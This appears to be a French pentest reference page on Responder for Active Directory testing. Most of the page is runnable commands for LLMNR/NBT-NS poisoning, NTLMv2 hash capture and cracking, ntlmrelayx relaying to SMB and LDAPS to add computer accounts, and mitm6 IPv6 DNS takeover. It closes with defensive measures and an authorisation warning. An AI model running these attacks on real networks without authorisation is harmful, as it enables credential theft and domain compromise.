---
title: Responder
description: "Empoisonner LLMNR, NBT-NS et mDNS pour capturer des hashes NTLM et alimenter un relais."
category: ad
kind: tool
tags: [llmnr, ntlm, poisoning, relay, wpad]
level: intermediate
updated: 2026-11-11
order: 5
aliases: ["llmnr poisoning", "ntlm capture"]
---

## Lancer

```bash
# Écoute complète sur l'interface du LAN
sudo responder -I eth0 -wdv

# Mode analyse : voir les requêtes sans répondre
sudo responder -I eth0 -A

# Fingerprint des hôtes qui parlent
sudo responder -I eth0 -f
```

| Option | Effet |
| --- | --- |
| `-I` | Interface d'écoute |
| `-A` | Analyse passive |
| `-w` | Rogue WPAD |
| `-d` | Réponses DHCP |
| `-v` | Verbeux |
| `-F` | Forcer l'authentification WPAD |

Les hashes capturés apparaissent dans `logs/` (ou `~/.responder/logs/`) au format `NTLMv2-SSP`.

## Cracker les hashes

```bash
# NTLMv2
hashcat -m 5600 logs/SMB-NTLMv2-SSP-10.10.10.10.txt rockyou.txt

# NTLMv1 (si le client le permet)
hashcat -m 5500 ntlmv1.txt rockyou.txt
```

```bash
# Voir les hashes sans lancer d'attaque
cat logs/*.txt | grep -i "NTLMv2"
```

> [!TIP]
> Un hash NTLMv2 ne se passe pas directement en relais : il faut le casser ou relayer l'authentification en temps réel. Si le mot de passe est long, le relais est souvent plus rapide que le crack.

## Relais NTLM

Désactive SMB et HTTP dans Responder pour laisser `ntlmrelayx` répondre :

```ini
# /etc/responder/Responder.conf
[Responder Core]
SMB = Off
HTTP = Off
```

```bash
# Cibles sans signature SMB
nxc smb 10.10.10.0/24 --gen-relay-list relay.txt

# Relais vers SMB
impacket-ntlmrelayx -tf relay.txt -smb2support

# Relais vers LDAP(S) pour créer un ordinateur (ADCS)
impacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --add-computer

# SOCKS pour réutiliser les sessions
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
```

## mitm6 + relais

```bash
# Prendre le rôle de serveur DNS via IPv6
sudo mitm6 -d domain.local

# En parallèle, relayer vers LDAP(S)
impacket-ntlmrelayx -6 -t ldaps://dc01.domain.local -wh attacker.domain.local
```

> [!TIP]
> `mitm6` exploite la préférence IPv6 de Windows. Beaucoup d'environnements n'ont pas de DHCPv6 : la machine accepte l'annonce et utilise l'attaquant comme DNS. Combine avec un relais LDAP pour ajouter un ordinateur ou modifier des ACL.

## Détection et défense

- Désactiver LLMNR (GPO) et NBT-NS sur les cartes.
- Activer la signature SMB et LDAP.
- Surveiller les événements 4624/4776 et le trafic LLMNR anormal.
- Segmenter le LAN et interdire le multicast entre postes.

> [!WARNING]
> Responder et le relais NTLM sont extrêmement bruyants et peuvent casser des services (WPAD, authentification). Préviens l'équipe réseau, limite la fenêtre d'attaque et ne relaie jamais vers un contrôleur de domaine sans autorisation écrite.